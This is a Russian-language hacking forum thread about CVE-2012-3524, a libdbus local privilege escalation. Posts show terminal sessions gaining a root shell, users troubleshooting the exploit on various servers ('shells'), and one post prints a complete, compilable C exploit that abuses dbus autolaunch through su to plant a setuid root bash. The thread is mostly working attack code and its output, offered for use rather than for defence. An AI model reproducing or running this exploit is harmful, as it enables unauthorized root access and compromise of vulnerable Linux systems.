Старый 14.09.2012, 19:41   #1
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию libdbus local root cve2012-3524

libdbus 'DBUS_SYSTEM_BUS_ADDRESS' Local Privilege Escalation
CVE: 2012-3524
Published: 2012-07-17
http://www.exploit-db.com/exploits/21323/

Код:
20:37:24||/home/kai-> ./a.out
[**] CVE-2012-3524 xSports -- this is not a dbus exploit!
[*] Preparing ...
[+] Using pam_systemd helper (type user passwd when asked) ...[*] Waiting 10s for dbus-launch to drop boomshell.
Password: ..
bash: blah: No such file or directory
..^C
20:37:44||/home/kai-> ./a.out
bash-4.2# id
uid=0(root) gid=100(users) groups=0(root),33(video),100(users)
bash-4.2# kill -9 $$
Killed
12309 вне форума   Ответить с цитированием
Старый 14.09.2012, 21:51   #2
Aspire
 
Регистрация: 03.06.2012
Сообщений: 26
Репутация: 2
По умолчанию

12309
можно для непонятливых пояснить вывод:
что произошло между Password: .. и bash-4.2# id
Судя по коду сплоента, он не отработал до строки "Hurra!", после перезапуска так вообще никакого года не было, сразу чудным образом нарисовался uid=0.

Прошу прощения у модераторов, перенесите или потрите мой пост, если запостил не там.
Aspire вне форума   Ответить с цитированием
Старый 14.09.2012, 22:56   #3
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

он написал[*] Waiting 10s for dbus-launch to drop boomshell.
выдало "Password: "
и начало выводить точки раз в секунду. пока точки выводились, я успел прочитать выше
> type user passwd when asked
и написал пароль (он стандартно не отображается, пушо запрашивается через su: 'char *su[] = {"/bin/su", NULL, "blah", NULL};')
потом он завис, и я нажал контролцэ (выше видно ^C), решил запустить еще раз - а бинарь-то суидный
23:55:08||/home/kai-> ls -la a.out
-rwsr-xr-x 1 root root 17800 Sep 14 20:36 a.out

Код:
. . .
    char *sh[] = {"/bin/bash", "--noprofile", "--norc", NULL};                  
. . .
    if (geteuid() == 0 && argc > 1) {
        chown("/tmp/dbus-launch", 0, 0);
        chmod("/tmp/dbus-launch", 04755);
        exit(errno);
    } else if (geteuid() == 0) {
        setuid(0);
        execve(*sh, sh, NULL);
        return errno;
    }
Код:
23:57:48||/home/kai-> ls -la /tmp/dbus-launch 
lrwxrwxrwx 1 kai users 15 Sep 14 20:36 /tmp/dbus-launch -> /home/kai/a.out
12309 вне форума   Ответить с цитированием
Старый 15.09.2012, 01:15   #4
Aspire
 
Регистрация: 03.06.2012
Сообщений: 26
Репутация: 2
По умолчанию

Спасибо, я почему спрашивал, у меня зависает раньше и не запрашивает пароля.
Aspire вне форума   Ответить с цитированием
Старый 15.09.2012, 01:32   #5
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

давай ковырять, чо.
банально напихай print-ов через каждые пару строк, узнаем, где именно виснет.
12309 вне форума   Ответить с цитированием
Старый 15.09.2012, 09:53   #6
Aspire
 
Регистрация: 03.06.2012
Сообщений: 26
Репутация: 2
По умолчанию

да видимо, я не на том сервере эксперементирую

Код:
sh-3.2$ ./a.out
Fatal server error:
PAM authentication failed, cannot start X server.
        Perhaps you do not have console ownership?

[**] CVE-2012-3524 xSports -- this is not a dbus exploit!
[*] Preparing ...
[+] Using Xorg helper ...[*] Waiting 10s for dbus-launch to drop boomshell.
..........
и судя по впихнутым принтам ни одного вызова далее не происходит
вру.. входит в цикл

Кстати, список уязвимых систем http://www.securityfocus.com/bid/55517

Последний раз редактировалось Aspire; 15.09.2012 в 10:10..
Aspire вне форума   Ответить с цитированием
Старый 15.09.2012, 11:39   #7
lochankin
 
Регистрация: 31.08.2012
Сообщений: 14
Репутация: 1
По умолчанию

Цитата:
Сообщение от Aspire Посмотреть сообщение
Код:
sh-3.2$ ./a.out
Fatal server error:
PAM authentication failed, cannot start X server.
        Perhaps you do not have console ownership?
пробовал на 9 разных шелах - везде такая хуета.
на виртуалке отработало нормально!
IMHO все таки без реальной консоли и PAM не сработает (

пробовал наебать через псевдоконсоль на питоне - не прокатило

https://listman.redhat.com/archives/pam-list/2001-December/msg00069.html - тоже не прокатило

/lib64/security/pam_systemd.so - этого файла нет нигде где пробовал
lochankin вне форума   Ответить с цитированием
Старый 19.09.2012, 21:16   #8
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

Сработал на центос последнем, федоре. Проблема только в том что работать будет в основном на десктопных вариантах, и в случае если Xorg используется для повышения привелегий- с иксами иногда проблема, перезагружать приходится
tex вне форума   Ответить с цитированием
Старый 23.01.2013, 14:48   #9
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

su auto vector

единственное, что требуется, tty +пароль текущего пользователя

dependencies: tty + current user password

exploit:

Код:
/* CVE-2012-3524 PoC (C) 2012 Sebastian Krahmer
 *  
 * edited by Pashkela for RDOT.ORG (23.01.2013)  
 * 
 * su auto vector (need tty + current user password)
 *
 * Trivial non-dbus root exploit. (Yes, it is 2012!)
 *
 * The underlying bug (insecure getenv() by default) has been
 * reported ages ago, but nobody really cared. Unless you have an
 * exploit...
 * ==============================================================
 * Ubuntu 9.04
 *
 * an@an-desktop:~$ uname -a
 * Linux an-desktop 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux
 * an@an-desktop:~$ gcc s.c -o s
 * an@an-desktop:~$ id
 * uid=1000(an) gid=1000(an) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(an)
 * an@an-desktop:~$ ./s
 * [**] CVE-2012-3524 xSports -- this is not a dbus exploit!
 *
 *[*] Preparing ...
 *[+] Type current user passwd when asked
 *[*] Waiting 10s for dbus-launch to drop boomshell.
 * Password: .......
 * bash: [+] GOT root!: No such file or directory
 * ...
 * [!] Hurra!
 * bash-3.2# id
 * uid=0(root) gid=1000(an) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(an)
 * bash-3.2#
 * ==============================================================
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/stat.h>


int main(int argc, char **argv)
{
	int i = 0;
	struct stat st;
	pid_t pid = 0;
	char *env[] = {
	    "PATH=/tmp:/usr/bin:/usr/sbin:/sbin:/bin",
	    "DBUS_STARTER_BUS_TYPE=system",
	    "DBUS_SYSTEM_BUS_ADDRESS=autolaunch:",
	    NULL,
	    NULL
	};


	char *su[] = {"/bin/su",NULL,"[+] GOT root!", NULL};

        char **a = su; 
	char *dbus[] = {"/tmp/dbus-launch", NULL};
	char *sh[] = {"/bin/bash", "--noprofile", "--norc", NULL};
	char me[0x1000];

	if (geteuid() == 0 && argc > 1) {
		chown("/tmp/dbus-launch", 0, 0);
		chmod("/tmp/dbus-launch", 04755);
		exit(errno);
	} else if (geteuid() == 0) {
		setuid(0);
		execve(*sh, sh, NULL);
		return errno;
	}

	printf("[**] CVE-2012-3524 xSports -- this is not a dbus exploit!\n\n[*] Preparing ...\n");
	memset(me, 0, sizeof(me));

	if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0) {
		/* Solaris */
		readlink("/proc/self/path/a.out", me, sizeof(me) - 1);
	}
	symlink(me, "/tmp/dbus-launch");
             printf("[+] Type current user passwd when asked\n");
	env[3] = "DISPLAY=:7350";
	su[1] = getenv("USER");
	a = su;

	if ((pid = fork()) == 0) {
		execve(*a, a, env);
		exit(0);
	}

	printf("[*] Waiting 10s for dbus-launch to drop boomshell.\n");

	for (i = 0; i < 10; ++i) {
		sleep(1);
		printf("."); fflush(stdout);
	}
	kill(pid, SIGKILL);
	waitpid(pid, NULL, 0);

	for (;;) {
		stat(*dbus, &st);
		if ((st.st_mode & 04755) == 04755)
			break;
		sleep(1);
	}
	printf("\n[!] Hurra!\n");

	execve(*dbus, dbus, NULL);
	return errno;
}

Последний раз редактировалось Pashkela; 25.01.2013 в 10:14..
Pashkela вне форума   Ответить с цитированием
Старый 24.01.2013, 13:55   #10
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Pashkela
А твой код сработает там, где нет /lib64/security/pam_systemd.so (или второго файла из твоей первой вчерашней версии)?

Кто-нить видел описание, что это за бага, в чем там смысл изначально?
SynQ вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot